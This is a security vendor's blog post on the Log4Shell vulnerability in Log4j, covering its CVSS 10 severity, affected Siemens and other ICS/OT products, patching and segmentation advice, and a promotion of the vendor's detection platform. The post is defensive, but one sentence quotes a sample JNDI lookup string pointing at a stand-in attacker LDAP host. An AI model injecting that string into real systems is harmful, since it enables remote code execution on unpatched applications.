December 10, 2021, will always be remembered by the security community as the day when a highly critical zero\u2011day vulnerability was found in the very popular logging library for Java applications, log4j<\/a> and identified as CVE-2021-44228<\/a>. Not long after identified the name \u201cLog4Shell\u201d was coined for the exploit and every organization, no matter their size, including every security vendor, quickly rushed to mitigate the zero-day vulnerability within their applications. This patching marathon is still a work in process as we speak.  <\/p>\nLog4Shell is a critical vulnerability that requires urgent action. We can\u2019t stress enough how important this Log4Shell vulnerability is. It\u2019s a critical security vulnerability with a CVSS score of 10 that allows attackers to execute code remotely in any vulnerable environment. 

If you have not mitigated the Log4Shell vulnerability, we strongly recommend upgrading to the latest v2 version of Log4j which includes the recent vulnerability fix. You can find the mitigation process in Apache\u2019s official Migration from Log4j v1 document<\/a>. If you are unable to upgrade to the latest version, our research team recommends disabling JMSAppender or blocking any user input from reaching its configuration.<\/p>

How the Log4Shell Vulnerability Works<\/strong><\/p>

The Log4Shell vulnerability targets the parts of Log4j that parse and log user-controlled data. Log4Shell allows attackers to exploit and compromise vulnerable applications. The vulnerability takes advantage of Log4j\u2019s ability to use JNDI, the Java Naming and Directory Interface. By using JNDI lookups, an attacker can force the vulnerable application to connect to an attacker-controlled LDAP (Lightweight Directory Access Protocol) server and issue a malicious payload. Here is a visual diagram of the attack chain from the Swiss Government Computer Emergency Response Team.<\/p>

\"SCADAfence-log4shell-diagram\"<\/p>

To exploit a vulnerable target, attackers must trick the application code into writing a log entry that includes a string such as ${jndi:ldap:\/\/evil.xa\/x}. Many applications logging is essential and a lot of different information is logged about every incoming request. While the vulnerability is affecting many attack vectors, until mitigation steps and the patch is complete no application or attack vector is safe from Log4Shell.<\/p>

ICS\/OT industry Response to Log4Shell<\/p>

When the exploitation was first reported the ICS\/OT industry didn\u2019t think they were affected but now the ICS manufacturers are rushing to respond to Log4Shell.<\/p>

Siemens confirmed<\/a> that 17 of its products were affected by CVE-2021-44228 and that they have started to release patches and provide mitigation advice. Products confirmed to be affected include E-Car OC, EnergyIP, Geolus, Industrial Edge Management, Logo! Soft Comfort, Mendix, MindSphere, Operation Scheduler, Siguard DSA, Simatic WinCC, SiPass, Siveillance, Solid Edge, and Spectrum Power.<\/p>

Additionally, Schneider Electric also released an advisory<\/a>, but they announced they are still understanding which of their products are affected. Inductive Automation, which provides SCADA software and industrial automation solutions, announced<\/a> that it conducted a full audit and determined that its products are not impacted.<\/p>

While OT\/ICS vendors are responding to Log4Shell and publishing advisories, this is not enough to ensure that OT environments and devices are secure against the Log4Shell vulnerability. Now that OT networks<\/a> are becoming increasingly connected, the attack surface is widening, and increased risk is likely. But unlike in IT, OT environments have much more at stake. To ensure this vulnerability won\u2019t cause more harm than needed, organizations should look into network segmentation in their OT environments. This will decrease the chance that their OT devices and networks will be exploited via the Log4Shell vulnerability. <\/p>

Too often, OT devices are outdated and don\u2019t offer the latest version or upgrade which allows attackers to easily exploit an OT environment. In the case that OT vendors provide the latest patch or upgrade, organizations need to upgrade their OT technology. However, sometimes  OT teams won\u2019t update their technology with the secure version due to their approach of \u201cdon\u2019t fix what\u2019s not broken\u201d. This outdated and passive approach can result in the organization\u2019s OT infrastructure becoming an easy target for attackers.  <\/p>

SCADAfence\u2019s OT Security is Here to Help<\/p>

First of all, at SCADAfence we are here to assure you that all our products, The SCADAfence Platform for OT Security, the Governance Platform<\/a>, and the Multi-Site Platform are updated and secure from the Log4Shell vulnerability. We remediated the Log4Shell vulnerability in our deployed application services\u2019 code. Customers do not need to take action for any of our hosted web solutions.<\/p>

\"Log4J<\/p>

The SCADAfence Platform Detects & Alerts if an OT Asset is Vulnerable to the Log4Shell Vulnerability<\/h3>

On top of ensuring that our products are secure, SCADAfence\u2019s researchers analyzed the vulnerability and now the SCADAfence Platform detects and alerts if an OT asset is vulnerable with the Log4Shell zero-day vulnerability. SCADAfence customers can leverage our OT security threat intelligence service<\/a> to ensure they can patch and mitigate this exploit in any of their OT devices.<\/p>

On top of offering OT security threat intelligence, SCADAfence enables organizations to increase their visibility into their entire network as it\u2019s difficult to protect what you can not see. Additional recommended practices are to adopt security network monitoring solutions that provide network segmentation and micro-segmentation as this will help organizations prevent similar exploitations moving forward. <\/p>

Still Patch, Patch, Patch <\/strong><\/p>

Patching is still your best bet to combat this vulnerability. If patching isn\u2019t possible, implementing mitigation techniques is the next best path to minimize the attack surface. SCADAfence\u2019s research team is monitoring the evolution of this vulnerability and will provide additional information and support as needed. <\/p>

If your organization is looking into securing its industrial networks, the OT & IoT cyber security experts <\/a>at SCADAfence are seasoned veterans in this space and can show you how it\u2019s done. <\/p>
